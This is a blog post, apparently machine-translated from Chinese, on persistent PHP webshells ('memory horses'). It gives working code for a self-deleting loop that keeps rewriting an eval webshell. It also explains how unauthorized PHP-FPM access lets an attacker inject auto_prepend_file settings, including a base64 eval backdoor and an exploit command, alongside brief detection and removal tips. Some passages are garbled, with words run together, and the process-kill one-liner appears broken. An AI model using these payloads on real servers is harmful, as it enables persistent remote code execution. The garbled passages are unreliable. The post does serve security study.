Introduction to PHP memory horse

PHP memory horse

PHP Undead Horse

Principle of PHP Undead Horse

Php undead horse, as the name suggests, refers to a Trojan horse whose process will not die by itself. The Trojan horse keeps creating Trojan horse files in memory, so that the administrator cannot completely delete them. In fact , PHP Undead Horse does not implement fileless attacks or memory webshells, etc. It does not belong to the category of memory horses in theory, but there are indeed only these methods for the realization of PHP memory horses, so here is a brief introduction .

PHP undead horse code

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["cmd"]); ?>';
file_put_contents("shell.php", $content);
usleep(10000);
}
?>

function description

1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开。
2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
3. unlink(__FILE__)函数:删除文件。
4. file_put_contents函数:将一个字符串写入文件。
5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。

Access was successful and cannot be deleted.

image-20220608210706421

It is worth noting that php generally has a php timeout event set, so php may automatically terminate after running in the background for a certain period of time.image-20220608221221995

Detection idea

1. 检查所有php进程处理请求的持续时间(top|grep http)
2. 检测执行文件是否在文件系统真实存在

Kill PHP undead horse

  • Restart the php server
  • Forcibly kill the background processps aux|grep www-data|awk '{print 2}'| xargs kill -9
  • competing deletion

For undead horses, it is useless to delete the script directly, because the script has been read in and interpreted as opcode to run when php is executed. Use conditional competition to write the file with the same name to restrain undead horses.

image-20220608211639286

image-20220608211558944

FastCGI-horse

​ Before understanding the FastCGI horse, let's briefly introduce FastCGIwhat it is.

CGI and FastCGI

​ First of all, let's understand what is CGI: taking web server as an example, we know that apache can be used to build a web server, but apache can only parse static web pages, that is, htmltype web pages; of course, we can install php components and configure them through apache file to enable it to parse php. This is used in it CGI. CGI refers to a communication protocol for data exchange between Web Server and Web Application . When apache needs to parse php, it will obtain the application port of the parsed php service through the configuration file, and will need to parse the The file data is handed over to the PHP parser through CGIthe protocol. That is to say, apache and php are not a whole (this is where I misunderstood before), but apache CGIimplements php parsing by accessing the php parser inside the protocol. FastCGIIt's CGIan upgraded version of , CGI which has made some optimizations in terms of efficiency. The difference between the two is:CGI each parser will restart a parser process, re-read the configuration file, reload the extension, and exit after the parsing is complete; FastCGIit is a resident type CGI, which is only read when the process starts Once the configuration file is configured, it will not exit after the request is parsed, which greatly improves performance.

​ Analogous to the HTTP protocol, FastCGIthe protocol is the protocol used in data exchange between server middleware and a language backend. FastCGIThe message exchanged each time is called record, which is similar to the HTTP protocol request packet, and recordalso has its own headersum body. recordThe header is fixed at 8 bytes, bodywhich is specified in the header contentLength, and its structure is as follows:

typedef struct {
    
    
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

After parsing the header, the language end FastCGIwill follow the contentLengthacquired Bodydata Bodywith an additional piece of data (Padding), whose length is paddingLengthspecified in the header and plays a reserved role. When you don't need it Padding, just set its length to 0.

​ There is a variable in the request header, which FastCGIis used to specify the function. Different structures have different structures. The specific meanings are as follows:typetyperecordrecordbode

type value Concrete meaning
1 The type value in the first message sent after establishing a connection with php-fpm must be 1, which is used to indicate that this message is the first message at the beginning of the request
2 Abnormally disconnected from the interaction with php-fpm
3 In the last message sent in the interaction with php-fpm, the type value is this, to indicate the normal end of the interaction
4 When passing environment parameters to php-fpm during interaction, set type to this to indicate that the data contained in the message is a name-value pair
5 The web server sends the POST request data (form submission, etc.) received from the browser to php-fpm in the form of a message, and the type of this message must be set to 5
6 The type of the normal response message returned by php-fpm to the web server is set to 6
7 The error response returned by php-fpm to the web server is set to 7

Here we mainly introduce type4 record, because FastCGIthis type is used by Trojan horses record. For other types, see this article for details .

When the backend language receives a typerecord of 4, it will parse the body of the record into a key-value pair according to the corresponding structure, which is the environment variable. The structure of the environment variable is as follows:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

These are actually 4 structures. As for which structure to use, there are the following rules:

  • Both key and value are less than 128 bytes, useFCGI_NameValuePair11
  • key is greater than 128 bytes, value is less than 128 bytes, useFCGI_NameValuePair41
  • key is less than 128 bytes, value is greater than 128 bytes, useFCGI_NameValuePair14
  • Both key and value are larger than 128 bytes, useFCGI_NameValuePair44

Regarding the communication between web middleware and php, let's give an example to illustrate. User access http://127.0.0.1/index.php?a=1&b=2, if the web directory is /var/www/html, then Nginx will turn this request into the following key-value pair:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

FastCGI​ Nginx sends the above data through the protocol format PHP-FPM, and after PHP-FPM gets FastCGIthe data packet, it parses it to get the above environment variables. Then, execute SCRIPT_FILENAMEthe PHP file pointed to by the value, ie /var/www/html/index.php.

PHP-FPM

​ The first thing to say is: FastCGIit is a protocol specification, php-fpmwhich will eventually be parsed. We know that the php parser program ( ) will be started no matter it is CGIor eventually , but this program can only parse requests and cannot manage processes. It is a process management program that overcomes the need to restart after changing the configuration to make the new one take effect. Smooth restart; kill the process directly , it will not run and other problems. Specific information can be found in this articleFastCGIphp-cgiphp-fpmphp-cgiphp-cgiphp.iniphp-cgiphp-iniphp-cgiphp

FastCGI unauthorized access

So, if we can control FastCGIthe communication protocol, can we execute arbitrary code?

Of course it is not possible in theory, but there are two special configuration items in the PHP configuration that can help us achieve this: auto_prepend_fileand auto_append_file.

  • auto_prepend_fileauto_prepend_fileis to tell PHP to include the specified file before executing the target file ;
  • auto_append_fileauto_append_fileIt tells PHP to include the pointed file after the target file is executed .

If we set it auto_prepend_fileto php://input(as long as the Content-Type is not set multipart/form-data, php://inputthe post data will be filled in, see the official document for details ), then it is equivalent to phpincluding POSTthe content before executing any file. Therefore, we only need to put the code to be executed in the Body, and they can be executed. Of course, you also need to enable the remote file inclusion option allow_url_include.

So, how do we set it up auto-prepend_file?

This in turn involves two environment variables for PHP-FPM, PHP_VALUEand PHP_ADMIN_VALUE. These two environment variables are used to set PHP configuration items. PHP_VALUEYou can set the mode as PHP_INI_USERand PHP_INI_ALLoptions, and PHP_ADMIN_VALUEyou can set all options. ( disable_functionsExcept, this option is determined when PHP is loaded, and functions in the scope will not be loaded directly into the PHP context)

So, we end up passing in the following environment variables:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

Vulnerability recurrence

The reproduction environment can use vulhub's CVE-2019-11043 reproduction environment.

Exp see p God's code https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75.

python php_fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c "<?php echo `id`;?>"

image-20230227212846684

reference link

Fastcgi protocol analysis && PHP-FPM unauthorized access vulnerability && Exp writing

Fastcgi protocol analysis and examples

Using PHP-FPM as a memory horse

The last chapter introduced the PHP undead horse that is close to the memory horse and FastCGIthe Trojan horse made by using it, but these two Trojan horses do not meet the basic characteristics of the memory horse - PHP code cannot be executed in memory for a long time . Next, we will analyze FastCGIthe horse The corresponding improvements make it a real memory horse.

​ In FastCGIthe horse, we use PHP_VALUEsettings auto_prepend_file = php://inputso that the data passed in by the http request can be executed, so is there a way to make the backdoor code reside in memory? * We only need to php://inputchange the protocol to data( the content of base64 is <?php @eval($_REQUEST[test]); ?>)

'PHP_VALUE': 'auto_prepend_file = php://input',
 'PHP_VALUE': 'auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\'',

Payload can be modified with P God’s code.
God P's script: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Since it is used auto_prepend_file, we only need to visit any normal PHP file on the server without any modification to trigger our memory horse.

image-20230228185217368

​ Of course, this solution also has limitations, because it is a memory horse, so it is actually bound to the Worker process of PHP-FPM. Therefore, if there are multiple Worker processes on the server, we need to send the request a few more times. times to allow our payload to "infect" every process.

Memory horse detection

​ Since it is a memory horse, we cannot find it from code scanning. And because he just modified the PHP configuration in memory, we can't PHP.ini/.user.ini/php-fpm.confdetect it from the content of the etc. file. The real addition of memory horses only needs to send requests to the port that fpm listens to, so it is impossible to find problems from the accesslog of the webserver. But we can use tools such as rasp to check auto_prepend_file/auto_append_file/allow_url_inclueconfiguration changes (although many rasps do not do these operations at present) to do detection.
​ In addition, since the trigger method can be any PHP file, it is difficult for us to check from the subsequent access behavior, but we can check the corresponding backdoor payload from the network traffic, or from the behavior of the process. examine.

reference link

The method of using PHP-FPM as a memory horse

Guess you like

Origin blog.csdn.net/weixin_44411509/article/details/129267982